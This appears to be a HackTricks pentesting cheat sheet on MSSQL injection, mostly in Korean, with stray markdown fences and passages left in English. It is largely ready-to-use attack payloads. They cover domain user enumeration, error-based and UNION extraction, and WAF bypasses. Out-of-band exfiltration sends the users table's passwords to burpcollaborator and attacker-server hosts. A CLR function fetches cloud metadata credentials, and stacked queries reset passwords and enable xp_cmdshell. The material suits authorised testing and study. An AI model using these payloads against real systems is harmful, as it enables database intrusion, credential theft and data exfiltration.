15 KiB
MSSQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Active Directory enumeration
다음 MSSQL 함수를 사용하여 MSSQL 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 나열할 수 있습니다:
SELECT DEFAULT_DOMAIN()
: 현재 도메인 이름을 가져옵니다.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: 도메인 이름(DOMAIN 예시) 을 알고 있다면 이 함수는 사용자 Administrator의 SID를 16진수 형식으로 반환합니다. 이는0x01050000000[...]0000f401
과 비슷하게 보일 것이며, 마지막 4바이트가 big endian 형식으로 500이라는 숫자라는 점에 유의하십시오. 이는 사용자 관리자의 공통 ID입니다.
이 함수는 도메인의 ID를 알 수 있게 해줍니다(마지막 4바이트를 제외한 모든 바이트).SUSER_SNAME(0x01050000000[...]0000e803)
: 이 함수는 지정된 ID의 사용자 이름을 반환합니다(있는 경우), 이 경우 0000e803는 big endian == 1000입니다(일반적으로 이는 생성된 첫 번째 일반 사용자 ID의 ID입니다). 그러면 1000에서 2000까지 사용자 ID를 무작위로 추측하여 도메인 사용자의 모든 사용자 이름을 얻을 수 있다고 상상할 수 있습니다. 예를 들어 다음과 같은 함수를 사용하여:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
대체 오류 기반 벡터
오류 기반 SQL 인젝션은 일반적으로 +AND+1=@@version--
와 같은 구조와 «OR» 연산자를 기반으로 한 변형을 닮고 있습니다. 이러한 표현식을 포함하는 쿼리는 일반적으로 WAF에 의해 차단됩니다. 우회 방법으로, %2b 문자를 사용하여 특정 함수 호출의 결과와 문자열을 연결하여 원하는 데이터에 대한 데이터 유형 변환 오류를 유발합니다.
이러한 함수의 몇 가지 예:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
함수 USER_NAME()
의 사용 예:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
이 SSRF 트릭은 여기에서 가져왔습니다
fn_xe_file_target_read_file
서버에서 VIEW SERVER STATE
권한이 필요합니다.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
CONTROL SERVER
권한이 필요합니다.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
이것은 CONTROL SERVER
권한이 필요합니다.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
와 같은 저장 프로시저는 Microsoft에 의해 공식적으로 문서화되지는 않았지만, MSSQL 내에서 네트워크 작업에 유용하기 때문에 온라인에서 다른 사람들에 의해 설명되었습니다. 이러한 프로시저는 다양한 예제와 게시물에서 보여준 바와 같이 Out of Band Data exfiltration에 자주 사용됩니다.
예를 들어, xp_dirtree
저장 프로시저는 네트워크 요청을 수행하는 데 사용되지만, TCP 포트 445로만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽는 것을 허용합니다. 사용법은 아래 SQL 스크립트에서 보여집니다:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
이 방법은 기본 설정으로 실행되는 Windows Server 2016 Datacenter
에서 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
와 같은 모든 시스템 구성에서 작동하지 않을 수 있다는 점은 주목할 만합니다.
또한, 유사한 결과를 얻을 수 있는 대체 저장 프로시저인 master..xp_fileexist
와 xp_subdirs
가 있습니다. xp_fileexist
에 대한 추가 세부정보는 이 TechNet 기사에서 확인할 수 있습니다.
xp_cmdshell
명백히 **xp_cmdshell
**을 사용하여 SSRF를 유발하는 무언가를 실행할 수도 있습니다. 더 많은 정보는 페이지의 관련 섹션을 읽어보세요:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL 사용자 정의 함수 - SQLHttp
CLR UDF(공통 언어 런타임 사용자 정의 함수)를 생성하는 것은 .NET 언어로 작성된 코드가 DLL로 컴파일되어 MSSQL 내에서 사용자 정의 함수를 실행하기 위해 로드되는 과정으로, dbo
접근이 필요합니다. 이는 일반적으로 데이터베이스 연결이 sa
또는 관리자 역할로 이루어질 때만 가능하다는 것을 의미합니다.
이진 파일을 CLR 어셈블리로 MSSQL에 로드할 수 있도록 이 Github 저장소에서 Visual Studio 프로젝트 및 설치 지침이 제공됩니다. 이를 통해 MSSQL 내에서 HTTP GET 요청을 실행할 수 있습니다.
이 기능의 핵심은 http.cs
파일에 캡슐화되어 있으며, WebClient
클래스를 사용하여 GET 요청을 실행하고 아래와 같이 콘텐츠를 검색합니다:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
CREATE ASSEMBLY
SQL 명령을 실행하기 전에, 다음 SQL 스니펫을 실행하여 어셈블리의 SHA512 해시를 서버의 신뢰할 수 있는 어셈블리 목록에 추가하는 것이 좋습니다 ( select * from sys.trusted_assemblies;
를 통해 확인 가능):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
어셈블리를 성공적으로 추가하고 함수를 생성한 후, 다음 SQL 코드를 사용하여 HTTP 요청을 수행할 수 있습니다:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
빠른 익스플로잇: 단일 쿼리로 전체 테이블 내용 가져오기
여기에서 트릭을 확인하세요.
단일 쿼리로 테이블의 전체 내용을 추출하는 간결한 방법은 FOR JSON
절을 사용하는 것입니다. 이 접근 방식은 "raw"와 같은 특정 모드가 필요한 FOR XML
절을 사용하는 것보다 더 간결합니다. FOR JSON
절은 간결성 때문에 선호됩니다.
현재 데이터베이스에서 스키마, 테이블 및 열을 가져오는 방법은 다음과 같습니다:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 или %C2%A0:
```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# 끝에 쓸모없는 exec() 추가하여 WAF가 유효한 쿼리가 아니라고 생각하게 만들기
admina'union select 1,'admin','testtest123'exec('select 1')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# 이상하게 구성된 쿼리 사용하기
admin'exec('update[users]set[password]=''a''')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# 또는 xp_cmdshell 활성화하기
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## 이것은 다음과 같습니다:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
References
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.